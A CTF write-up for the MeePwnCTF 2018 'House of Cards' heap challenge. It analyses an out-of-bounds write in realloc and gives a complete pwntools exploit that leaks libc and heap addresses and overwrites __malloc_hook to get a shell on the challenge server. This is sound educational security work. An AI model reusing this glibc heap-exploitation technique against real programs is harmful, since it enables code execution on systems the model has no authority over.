MeePwnCTF 2018 Qual PWN House-of-Cards Write-up

Introduction

It is the only middle score challenge I solve in MeePwn CTF this time. The challenge is a routine menu challenge. The annoying part of this challenge is the complexity of malloc/free operation in each operation in this challenge. I think my exploit make things complicated again , I think it is necessary to record my thoughts during the exploitation.

Vulnerability Analysis

There are two data structures used in this challenge.

struct Data
{
     char name[0x40];
     int size;
     char desc[size];
}

struct DataNode
{
     struct Data *data;
     struct DataNode *prev;
     struct DataNode *next;
}

There are three operations available in this challenge: (1)New (2)Edit (3)Delete. The basic working flow of the challenge
New:

Read a input string as name.
Read an integer number as size. size must be larger than 0x80.
tmpBuf = malloc(size) as a temporary buffer.
data = (struct Data*)malloc(size+0x44);
free(tmpBuf);
dataNode = (struct DataNode*)malloc(0x18);
dataNode->size = size;
Insert dataNode into node list.

Edit

Pick the dataNode according to the given index. 
Read input to dataNode->data->name again.
Read an integer as new_size. new_size must be larger than 0x80.
If size is larger than dataNode->data->size:
     newData = (struct Data*)realloc(dataNode->data, new_size+0x44);
     User is asked to input the new description to newData->desc again.
else:
     User is asked to input the new description to dataNode->desc directly.

Free

Pick the dataNode according to the given index. 
free(dataNode->data);
free(dataNode);

The vulnerability exists in the process of reallocation. The size used to read input is set to new_size + 0x44, which results in a 44-byte out-of-bound write.

Exploit Plan

Still the exploit is divided into two parts:

Info Leak

The only way to leak libc base address is Edit operation. Since data->name is always initialized to 0 before reading from input, we have to leak the address via data->desc. Since Edit operation only outputs the first 0x20 byte of the data->desc, we have to be careful about the heap layout. In my final exploit, I try to leak the base address of libc and the base address of heap. But after the exploitation, it seems that there is no need to leak the heap address at all.

Hijacking Control Flow

According to vulnerability analysis above, my expected heap layout is given below:

data1->   ***************
          *             *
          *             *
          *             *
          *             *   
data2->   ***************
          *             *
          *             *
          *             *
          *             *  
          *             *
          *             *
          *             *
          *             *  
dataNode->***************
          *             *
          *             *
          ***************

The process of exploitation:
(1) Free(data2);
(2) Realloc(data1), trigger the vulnerability and corrupt dataNode->data.
(3) Overwrite __malloc_hook and use magic gadget to get shell.

According to other write-ups released today [1][2], I complicate this step in my exploit.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("178.128.87.12", 31336);
elif(DEBUG == 1):
    env = {"LD_PRELOAD":"./libc.so"};
    r = process("./house_of_card", env=env);
elif(DEBUG == 2):
    env = {"LD_PRELOAD":"./libc.so"};
    r = process("./house_of_card", env=env);
    gdb.attach(r, '''source script.py''');

count = 0;

def allocate(name, length, desc):
    global count;
    count = count + 1;
    r.recvuntil("\xa9\x20\x20\x20\x20");
    r.sendline("1");
    r.recvuntil("Name :");
    r.sendline(name);
    r.recvuntil("Len?");
    r.sendline(str(length));
    r.recvuntil("Description:");
    r.send(desc);

def edit(index, name, length, desc):
    r.recvuntil("\xa9\x20\x20\x20\x20");
    r.sendline("2");
    r.recvuntil(">");
    r.sendline(str(index));
    r.recvuntil("New name?");
    r.sendline(name);
    r.recvuntil("Len?");
    r.sendline(str(length));
    r.send(desc);

def delete(index):
    global count;
    count = count - 1;
    r.recvuntil("\xa9\x20\x20\x20\x20");
    r.sendline("3");
    r.recvuntil(">");
    r.sendline(str(index));

def exploit():
    allocate("A"*4, 0x180, "a"*0x180); #1
    allocate("B"*4, 0x160, "b"*0x160); #2
    allocate("C"*4, 0x140, "c"*0x140); #3
    allocate("D"*4, 0x120, "d"*0x120); #4
    allocate("E"*4, 0x100, "e"*0x100); #5
    delete(2);  #delete #2
    delete(3);  #delete #4
    delete(2);  #delete #3

    #start to leak info
    allocate("F"*4, 0xe0, "f"*0xe0);
    allocate("G"*4, 0xe0, "g"*0xe0);
    allocate("H"*4, 0x80, "h"*0x10+"\n");

    allocate("I"*4, 0x100, "i"*4+"\n");
    #start to leak
    r.recvuntil("\xa9\x20\x20\x20\x20");
    r.sendline("2");
    r.recvuntil("iiii");
    r.recv(12);
    leaked1 = r.recv(8);
    leaked2 = r.recv(8);
    leakedValue1 = u64(leaked1);
    leakedValue2 = u64(leaked2);
    log.info("Leaked Value1: 0x%x" % leakedValue1);
    log.info("Leaked Value2: 0x%x" % leakedValue2);
    heapBaseAddr = leakedValue1 - 0xa0;
    libcBaseAddr = leakedValue2 - 0x3c1b58;
    log.info("Heap base address: 0x%x" % heapBaseAddr);
    log.info("Libc base address: 0x%x" % libcBaseAddr);

    log.info(count);
    r.recvuntil(">");
    r.sendline(str(count + 1));
    
    allocate("J"*4, 0x1a0, 'j'*0x1a0);
    allocate("K"*4, 0x1b0, 'k'*0x1b0);
    allocate("L"*4, 0x1c0, 'l'*0x1c0);
    allocate("M"*4, 0x1d0, 'm'*0x1d0);
    allocate("N"*4, 0x1e0, 'n'*0x1e0);
    allocate("O"*4, 0x1f0, 'o'*0x1f0);
    allocate("P"*4, 0x1a0, 'p'*0x1a0);
    for i in range(0, 10):
        allocate("JUNK", 0x200+i*0x10, "junk" * ((0x200+i*0x10)/4) );

    allocate("Q"*4, 0x1a0, 'q'*0x1a0);
    allocate("R"*4, 0x300, 'r'*0x300);
    allocate("S"*4, 0x310, 's'*0x310);

    delete(6);
    payload = "A"*0x254+p64(0x21) + p64(libcBaseAddr + 0x3c1a90); #p64(heapBaseAddr+0x56d0); #+ p64(0x414141414141) 
    payload = payload + p64(heapBaseAddr+0x800) + p64(heapBaseAddr+0xae0);
    payload = payload + p64(0x21) + p64(heapBaseAddr+0x5d40); #p64(0x424242424242);
    payload = payload + p64(heapBaseAddr+0xac0);
    log.info("payload length: 0x%x" % len(payload));
    edit(2, "corruption", 0x250,  payload +'\n');

    payload = "A"*0x1c + p64(libcBaseAddr+0x4557a);
    edit(24, "modify", 0xa0, payload+'\n');

    r.recvuntil("\xa9\x20\x20\x20\x20");
    r.sendline("1");
    r.recvuntil("Name :");
    r.sendline("Trigger");
    r.recvuntil("Len?");
    r.sendline(str(0x100));

    r.interactive();

exploit()

Conclusion

My understanding on heap manipulation still needs to be improved.

Reference

[1] https://gist.github.com/hama7230/66c90bfcbbbe0903306c0521255697fa
[2] https://github.com/Jinmo/ctfs/blob/master/2018/meepwn/house_of_card.py

5 thoughts on “MeePwnCTF 2018 Qual PWN House-of-Cards Write-up

      • i mean your struct data explant, i see some writeup have same clear struct’s description like your. i just think have a plugin for ida to do this. Thank you.

        Like

      • As far as I know, there is no such plugin. I infer the data structure according to the offset used inside the allocated data and the corresponding operation.

        Like

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.